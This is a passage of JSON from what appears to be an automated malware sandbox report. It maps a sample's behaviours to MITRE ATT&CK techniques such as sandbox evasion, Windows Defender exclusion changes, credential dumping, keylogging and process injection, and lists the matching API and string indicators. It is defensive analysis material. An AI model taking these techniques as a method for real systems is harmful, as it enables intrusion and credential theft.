string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"},{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Contains ability to delete files"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Can load assembly that contains the code that is currently executing (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Able to identify sandbox environment running process"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"},{"type":"informative","value":"Makes a code branch decision directly after an API that is environment aware"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Able to permanently delete files from the Recycle Bin"},{"type":"informative","value":"Contains ability to empty the recycle bin (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"},{"type":"informative","value":"Contains ability to query volume size"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to uninstall applications (Powershell command string)"},{"type":"informative","value":"Contains ability to delete device driver (API string)"},{"type":"informative","value":"Able to modify Windows Defender exclusions (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Attempts to read volume data via DOS device path"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Rootkit","attack_id":"T1014","attack_id_wiki":"https://attack.mitre.org/techniques/T1014","identifiers":[{"type":"informative","value":"References device drivers used by rootkit malware"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"YARA signature match – Embedded PE executable"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Compression","attack_id":"T1027.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/015","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Able to read the PEB (Process Environment Block) structure"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – cryptographic algorithms"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Credential Access","technique":"Unsecured Credentials","attack_id":"T1552","attack_id_wiki":"https://attack.mitre.org/techniques/T1552","identifiers":[{"type":"informative","value":"Contains ability to search for patterns of text (possibly credentials) in files"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Uses REG.EXE to query registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Collects OS version information"},{"type":"informative","value":"Able to find string content in a file"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Contains ability to retrieve windows environment variables"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Queries volatile registry keys"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Queries volume information"},{"type":"suspicious","value":"Contains ability to retrieve a module handle"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Found registry location string related to processor"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to read software policies"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Searches for patterns in files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Able to determine the valid logical drives on the computer"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"malicious","value":"Opens a handle of credential dumping utility"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"malicious","value":"Tries to gather information about running processes on a system"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to retrieve/open a process"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Contains ability to retrieve remote session information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Able to access Windows networking-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Calls an API typically used to retrieve default language settings"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Creates directory on disk"},{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"May execute SQL queries"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Collection","technique":"Archive via Utility","attack_id":"T1560.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/001","identifiers":[{"type":"informative","value":"Contains ability to copy files using xcopy"},{"type":"informative","value":"Possible archive activity detected"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Collection","technique":"Remote Email Collection","attack_id":"T1114.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/002","identifiers":[{"type":"informative","value":"Found PowerShell command strings related to Exchange mailboxes"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Able to capture drag-drop file operations"},{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Collection","technique":"Data Staged","attack_id":"T1074","attack_id_wiki":"https://attack.mitre.org/techniques/T1074","identifiers":[{"type":"informative","value":"Able to aggregate collected data, possibly for exfiltration"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to transfer data using curl"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Dropped files"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Other Network Medium","attack_id":"T1011","attack_id_wiki":"https://attack.mitre.org/techniques/T1011","identifiers":[{"type":"informative","value":"Contains ability to open/close a dial up connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Able to access crypto-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Able to change the configuration parameters of a service"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"},{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Impact","technique":"Endpoint Denial of Service","attack_id":"T1499","attack_id_wiki":"https://attack.mitre.org/techniques/T1499","identifiers":[{"type":"informative","value":"Contains ability to lock the workstation's display (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"CreateThread failed\" (Indicator: \"CreateThread\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"WriteProcessMemory\" (Indicator: \"WriteProcessMemory\"; File: \"00000000-00006300.00000000.98189.00972000.00000080.mdmp\")\n Found reference to API \"WinStationFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify Windows Defender exclusions (Powershell command string)","description":"file/memory contains long string with (Indicator: \"add-mppreference\"; File: \"7e5cy7w4O.bat\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-980","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"FindResourceW\" with parameter \"101\" - (UID: 00000000-00002668)\n \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"FindResourceW\" with parameter \"18299412\" - (UID: 00000000-00002668)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"LoadResource with parameter {'hModule': '18087936', 'hResInfo': '18498560'}\" (UID: 00000000-00002668)\n \"NSudoLG.exe\" called \"LoadResource with parameter {'hModule': '140696476057600', 'hResInfo': '140696476206128'}\" (UID: 00000000-00006880)\n \"NSudoLG.exe\" called \"LoadResource with parameter {'hModule': '140696476057600', 'hResInfo': '140696476206016'}\" (UID: 00000000-00006880)\n \"NSudoLG.exe\" called \"LoadResource with parameter {'hModule': '140696476057600', 'hResInfo': '140696476205904'}\" (UID: 00000000-00006880)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Sleep\"; File: \"7e5cy7w4O.bat\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-397","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\")\n Found reference to API \"RegRestoreKeyW\" (Indicator: \"RegRestoreKey\"; Source: \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\")\n Found reference to API \"RegFlushKey\" (Indicator: \"RegFlushKey\"; Source: \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\")\n Found reference to API \"RegSetValueW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"Found reference to API \"ChangeServiceConfigA\" (Indicator: \"ChangeServiceConfig\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"ControlService\" (Indicator: \"ControlService\"; Source: 